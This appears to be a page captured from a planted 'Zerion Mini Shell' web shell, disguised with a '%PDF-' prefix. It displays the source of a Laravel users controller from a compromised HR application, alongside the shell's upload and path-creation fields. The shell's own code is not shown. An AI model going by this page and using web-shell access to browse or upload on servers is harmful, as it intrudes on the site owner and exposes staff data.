%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/app/Http/Controllers/Api/v1/UsersController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Exceptions\AppException;
use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Configurations\CreateConfigurationRequest;
use App\Http\Requests\Api\v1\Users\CreateUserRequest;
use App\Http\Requests\Api\v1\Users\UpdateUserRequest;
use App\Imports\UsersImport;
use App\Models\Configuration;
use App\Models\Role;
use App\Models\User;
use App\Transformers\AnnualLeaveTransformer;
use App\Transformers\ConfigurationTransformer;
use App\Transformers\ProjectTransformer;
use App\Transformers\RoleTransformer;
use App\Transformers\UserDetailsTransformer;
use App\Transformers\UserTransformer;
use Carbon\Carbon;
use Flow\Config;
use Flow\File;
use Flow\Request as FlowRequest;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Pagination\LengthAwarePaginator;
use Maatwebsite\Excel\Validators\ValidationException;
use Spatie\Fractal\Fractal;
use Throwable;

class UsersController extends ApiController
{
    /**
     * User $user.
     */
    protected $user;
    /**
     * @var UserTransformer
     */
    private $transformer;
    /**
     * @var UserDetailsTransformer
     */
    private $detailsTransformer;
    /**
     * @var RoleTransformer
     */
    private $roleTransformer;

    /**
     * PostsController constructor.
     * @param UserTransformer $transformer
     * @param UserDetailsTransformer $detailsTransformer
     * @param RoleTransformer $roleTransformer
     */
    public function __construct(UserTransformer $transformer, UserDetailsTransformer $detailsTransformer, RoleTransformer $roleTransformer)
    {
        $this->transformer = $transformer;
        $this->detailsTransformer = $detailsTransformer;
        $this->roleTransformer = $roleTransformer;
    }

    /**
     * @param Request $request
     * @return Fractal
     */
    public function index(Request $request)
    {
        /** @var LengthAwarePaginator $result */
        $result = $this->filterUsers($request)
                       ->paginate($request->get('per_page'));
        return $this->paginate($result, $this->transformer);
    }

    private function filterUsers(Request $request)
    {
        $result = User::query()
                      ->whereHas('roles');

        if ($name = $request->get('name')) {
            $result = $result->where('name', 'like', "$name%");
        }
        if ($surname = $request->get('surname')) {
            $result = $result->where('surname', 'like', "$surname%");
        }
        if ($email = $request->get('email')) {
            $result = $result->where('email', 'like', "$email%");
        }
        if ($search = $request->get('search')) {
            $result = $result->where('email', 'like', "%$search%")
                             ->orWhere('surname', 'like', "%$search%")
                             ->orWhere('name', 'like', "%$search%");
        }
        return $result;
    }

    /**
     * @param $id
     * @return JsonResponse
     */
    public function show($id)
    {
        $user = User::query()
                    ->find($id);
        return $this->item($user, $this->detailsTransformer);
    }

    public function store(CreateUserRequest $request)
    {
        try {
            $data = $request->only([
                'name',
                'surname',
                'email',
                'phone',
                'birthday',
                'roles',
                'external_reference',
            ]);
            $data['role_ids'] = collect($data['roles'])->pluck('id');
            $data['configurations']['valid_from'] = $request->get('started_working');
            /** @var User $user */
            $user = User::createItem($data, true);
            return $this->item($user, $this->detailsTransformer);
        } catch (Throwable $e) {
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function update(UpdateUserRequest $request, $id)
    {
        try {
            /** @var User $user */
            $user = User::query()
                        ->findOrFail($id);
            $data = $request->only([
                'name',
                'surname',
                'email',
                'phone',
                'birthday',
                'roles',
                'external_reference',
            ]);
            $data['role_ids'] = collect($data['roles'])->pluck('id');
            $user->updateItem($data);
            return $this->item($user, $this->detailsTransformer);
        } catch (Throwable $e) {
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    /**
     * @param $id
     * @return JsonResponse
     */
    public function enable($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->enable();
        return $this->item($user, $this->detailsTransformer);
    }

    /**
     * @param $id
     * @return JsonResponse
     */
    public function disable($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        try {
            $user->disable();
        } catch (AppException $e) {
            return $this->wrongArguments($e->getMessage());
        }
        return $this->item($user, $this->detailsTransformer);
    }

    public function getRoles()
    {
        return $this->collection(Role::query()
                                     ->get(), $this->roleTransformer);
    }

    public function downloadExcelExample()
    {
        return response()->download(storage_path("users_import_example.xlsx"));
    }

    public function import()
    {
        $fileName = md5(time());;
        $request = new FlowRequest();

        $config = new Config([
            'tempDir' => storage_path('app/flow/chunks'),
        ]);

        $file = new File($config, $request);
        $realFileName = $request->getParam('flowFilename');
        $ext = last(explode('.', $realFileName));
        $destination = storage_path("app/flow/uploads/$fileName.$ext");

        if (request()->isMethod('GET')) {
            if (!$file->checkChunk()) {
                return response()->make('', 204);
            }
        } else {
            if ($file->validateChunk()) {
                $file->saveChunk();
            } else {
                return $this->wrongArguments('test');
            }
        }
        try {
            if ($file->validateFile() && $file->save($destination)) {
                $importer = new UsersImport();
                try {
                    $importer->import($destination);
                    return response()->json([
                        'message' => 'Done',
                    ], 200);
                } catch (ValidationException $e) {
                    $errors = collect();
                    $failures = $e->failures();

                    foreach ($failures as $failure) {
                        $errors->push([
                            'row'    => $failure->row(),
                            'errors' => $failure->errors(),
                        ]);
                    }
                    return response([
                        'message' => trans('import.success_with_error'),
                        'errors'  => $errors,
                    ], 400);
                }

            }
            return response(['message' => 'ok'], 200);
        } catch (\Exception $e) {
            return $this->wrongArguments($e->getMessage());
        }
    }

    public function getProjects(Request $request, User $user)
    {
        $date = Carbon::parse($request->get('date'));
        $projects = $user->getActiveProjects($date);
        return $this->collection($projects, new ProjectTransformer(), 'projects');
    }

    public function getConfigurations(User $user)
    {
        $config = $user->currentConfigurations();
        return $this->item($config, new ConfigurationTransformer());
    }

    public function updateConfigurations(CreateConfigurationRequest $request, User $user)
    {
        /** @var Configuration $config */
        $config = $user->currentConfigurations();
        try {
            $config->updateItem($request->only([
                'should_get_holidays_from_working_day_overtime',
                'holidays_percentage_from_working_day_overtime',
                'should_get_holidays_from_non_working_day_overtime',
                'holidays_percentage_from_non_working_day_overtime',
                'should_postpone_holidays',
                'holidays_validity_in_months',
                'annual_leave_quantity',
                'expected_daily_working_hours',
                'overtime_percentage_on_working_day',
                'overtime_percentage_on_non_working_day',
                'out_sick_percentage',
                'valid_from',
                'valid_to',
            ]));
            return $this->item($config, new ConfigurationTransformer());
        } catch (Throwable $e) {
            return $this->wrongArguments($e->getMessage());
        }
    }

    public function getPerformance(Request $request, User $user)
    {
        return $user->performance($request->get('from'), $request->get('to'));
    }

    public function getPtoLogs(Request $request, User $user)
    {
        return $this->item($user->annualLeave, new AnnualLeaveTransformer());
    }

}

Zerion Mini Shell 1.0